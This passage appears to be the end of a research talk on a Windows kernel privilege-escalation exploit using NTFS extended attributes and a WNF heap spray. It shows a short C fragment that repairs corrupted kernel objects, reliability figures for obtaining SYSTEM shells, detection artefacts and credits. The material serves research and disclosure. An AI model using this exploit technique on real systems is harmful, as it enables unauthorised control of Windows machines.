            printf("++ doing fixups ++\n");

            // Fix the header up.
            write64(nameinstance, 0x0000000000A80903);
            // Fix the RunRef up.
            write64((char*)nameinstance + 0x8, 0);
        }
    }
}
```
Is it reliable enough?
Statistics

SYSTEM shells – Number of times a SYSTEM shell was launched.

Total LFH Writes – For all 100 runs of the exploit, how many corruptions were triggered.

Avg LFH Writes – Average number of LFH overflows needed to obtain a SYSTEM shell.

Failed after 32 – How many times the exploit failed to overflow an adjacent object of the required target type, by reaching the max number of overflow attempts. 32 was chosen a semi-arbitrary value based on empirical testing and the blocks in the BlockBitmap for the LFH being scanned by groups of 32 blocks.

BSODs on exec – Number of times the exploit BSOD the box on execution.

Unmapped Read – Number of times the relative read reaches unmapped memory (ExpWnfReadStateData) – included in the BSOD on exec count above.
### Spray Size Variation

<table>
<thead>
<tr>
<th>Result</th>
<th>3000</th>
<th>6000</th>
<th>10000</th>
<th>20000</th>
</tr>
</thead>
<tbody>
<tr>
<td>SYSTEM shells</td>
<td>78</td>
<td>81</td>
<td>85</td>
<td>91</td>
</tr>
<tr>
<td>Total LFH writes</td>
<td>688</td>
<td>696</td>
<td>732</td>
<td>681</td>
</tr>
<tr>
<td>Avg LFH writes</td>
<td>8</td>
<td>8</td>
<td>8</td>
<td>7</td>
</tr>
<tr>
<td>Failed after 32</td>
<td>2</td>
<td>3</td>
<td>3</td>
<td>2</td>
</tr>
<tr>
<td>BSODs on exec</td>
<td>20</td>
<td>16</td>
<td>11</td>
<td>7</td>
</tr>
<tr>
<td>Unmapped Read</td>
<td>7</td>
<td>4</td>
<td>1</td>
<td>0</td>
</tr>
</tbody>
</table>

- Increasing spray size leads to much decreased chance of hitting unmapped reads.
- Average number of overflow writes roughly similar regardless of spray size.
- 90% ish average reliability
Exploit Demo!
How can this be found?
Detection

Possible artefacts?

- NTFS Extended Attributes being created and queried.
- WNF objects being created (as part of the spray)
- Failed exploit attempts leading to BSODs
NTFS Extended Attributes
Conclusion

- Affects a wide range of Windows versions, however, prior to segment heap needs different exploitation techniques.
- Managed to get a 90% reliable exploit on the most recent Windows version with all mitigations on.
- However, from a practical purpose, there are better bugs which enable more reliable primitives.
  - Not too many Windows systems which are now on this patch level
- Was a fun challenge to exploit regardless :)
- More detailed blogs online:
Credits

- Boris Larin
- Cedric Halbronn and Aaron Adams
- Yan ZiShuang
- Alex Ionescu and Gabrielle Viala
- Corentin Bayet and Paul Fariello